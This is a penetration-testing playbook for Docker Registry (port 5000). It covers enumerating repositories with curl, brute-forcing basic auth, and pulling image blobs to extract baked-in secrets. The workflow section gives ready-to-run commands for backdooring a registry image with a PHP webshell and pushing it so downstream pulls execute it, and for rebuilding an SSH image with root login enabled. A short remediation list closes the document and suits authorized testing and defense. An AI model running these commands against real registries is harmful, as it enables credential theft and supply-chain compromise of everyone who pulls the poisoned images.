Pentesting Docker Registry (port 5000)
When to Use
- Default port
5000/tcp, served over HTTP or HTTPS (must determine which first). May sit behind an HTTP proxy where nmap misses it. - When
nmapshows5000/tcp open http Docker Registry (API: 2.0), or/v2/returns{}. - A registry stores named, tagged images organized into repositories; access lets you pull images (and any secrets baked into layers) or push backdoored images consumed downstream.
Quick Enumeration
# Fingerprints:
# GET / -> empty response
# GET /v2/ -> {}
# GET /v2/_catalog -> repo list or UNAUTHORIZED error
# Determine HTTP vs HTTPS and list repositories
curl -s http://10.10.10.10:5000/v2/_catalog
curl -k https://10.10.10.10:5000/v2/_catalog
# {"repositories":["alpine","ubuntu"]}
# If authentication is required:
# {"errors":[{"code":"UNAUTHORIZED","message":"authentication required",...}]}
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
# Automated enumeration / dump (with or without basic auth)
python3 drg.py http://127.0.0.1 --list
python3 drg.py https://127.0.0.1 -U user -P pass --dump_all
Critical: Checks Most Often Missed
- Unauthenticated
/v2/_catalog— the registry is open if it returns arepositorieslist instead of anUNAUTHORIZEDerror. This is the most common miss; the registry is just an HTTP API. - Secrets inside image layers/blobs — even read-only access lets you pull blobs and unpack them to recover source code,
.env, config, and credentials baked into layers. - Weak/brute-forceable basic auth — if auth is required, brute force it, then enumerate with
-u user:pass. - Push (write) access -> supply-chain backdoor — if push is allowed, poison an existing image so every downstream
docker pull/run executes your payload.
How to CONFIRM
- Open registry:
curl /v2/_catalogreturns{"repositories":[...]}(not anUNAUTHORIZEDJSON error). - Read access proven: a
blobs/<sha256>download succeeds andtar -xfreveals real file content. - Write access proven:
docker push <registry>/<image>completes and the new tag/manifest is retrievable.
Workflow
Step 1: Enumerate
Confirm the service (/v2/ -> {}) and whether it's HTTP or HTTPS. List repositories via /v2/_catalog. If UNAUTHORIZED, note auth is required.
Step 2: Authenticate / unauth access
If no auth -> proceed directly. If auth required, brute force basic auth, then re-enumerate with -u user:pass or -A '<bearer token>'.
Step 3: Exploit / Extract
Enumerate tags, manifests, and download/unpack blobs to mine secrets:
curl -s http://10.10.10.10:5000/v2/_catalog # repos
curl -s http://10.10.10.10:5000/v2/ubuntu/tags/list # tags
curl -s http://10.10.10.10:5000/v2/ubuntu/manifests/latest # manifest (blobSums)
# Download a blob then inspect it (decompress each blob in its OWN folder to avoid overwrites)
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:<digest> --output blob1.tar
tar -xf blob1.tar
# Or just pull and inspect with the docker client
docker pull 10.10.10.10:5000/ubuntu
docker history 10.10.10.10:5000/ubuntu # commands used to build each layer
docker run -it 10.10.10.10:5000/ubuntu bash
Step 4: Post-access / pivot
With write access, backdoor an image and push it so downstream consumers run your code. WordPress webshell example:
echo '<?php echo shell_exec($_GET["cmd"]); ?>' > shell.php
cat > Dockerfile <<EOF
FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php
EOF
docker build -t 10.10.10.10:5000/wordpress .
docker push 10.10.10.10:5000/wordpress
SSH image example: pull the image, extract sshd_config, set PermitRootLogin yes, rebuild with RUN echo root:password | chpasswd, and push. Use recovered secrets from blobs to pivot into other systems.
Key Concepts
| Concept | Description |
|---|---|
| Registry / repository | Storage+distribution API for tagged images; each repo holds image versions |
/v2/ API |
Distribution API root; /v2/_catalog, /tags/list, /manifests/<tag>, /blobs/<digest> |
| Manifest | JSON describing an image's layers (blobSum/fsLayers) |
| Blob | A compressed layer (tar); unpack to read file content |
| Basic auth / bearer token | Optional auth gate; brute-forceable, then enumerate with creds |
| Image backdooring | Push a poisoned image so downstream pulls execute attacker code (supply chain) |
Tools & Systems
| Tool | Purpose |
|---|---|
| curl | Raw /v2/ API calls: catalog, tags, manifests, blob download |
| DockerRegistryGrabber (drg.py) | List/dump repos and images (with or without auth) |
| docker CLI | pull, history, run, build, push against the registry |
| tar | Unpack downloaded blobs to mine secrets |
| Hydra / brute tooling | Crack registry basic auth |
Common Scenarios
Scenario 1: Open registry secret mining
/v2/_catalog lists wordpress; pulling and unpacking blobs reveals wp-config.php with database credentials.
Scenario 2: Brute force then dump
Auth is required; basic auth is cracked (admin:admin) and drg.py --dump_all exfiltrates every image layer.
Scenario 3: Supply-chain backdoor
Write access allows pushing a modified base image; every downstream build that FROMs it now ships an attacker webshell.
Output Format
## Docker Registry Finding
**Service**: Docker Registry / Distribution (5000/tcp, HTTP|HTTPS)
**Severity**: <Critical|High>
**Target**: <scheme>://<IP>:5000 Auth: <none|basic>
### Evidence
- Unauthenticated catalog: /v2/_catalog returned <repositories>
- Read access: blob download + tar -xf exposed <secrets/files>
- Write access: pushed backdoored image <repo>:<tag> successfully
### Reproduction
curl -s http://<IP>:5000/v2/_catalog
curl http://<IP>:5000/v2/<repo>/blobs/sha256:<digest> --output blob.tar && tar -xf blob.tar
### Recommendation
1. Require authentication (token/basic) and TLS on the registry
2. Restrict network exposure; keep registries off untrusted networks
3. Enforce read-only access for consumers; gate push to CI service accounts
4. Scan images for embedded secrets; rotate any exposed credentials
5. Enable image signing/content trust to prevent poisoned images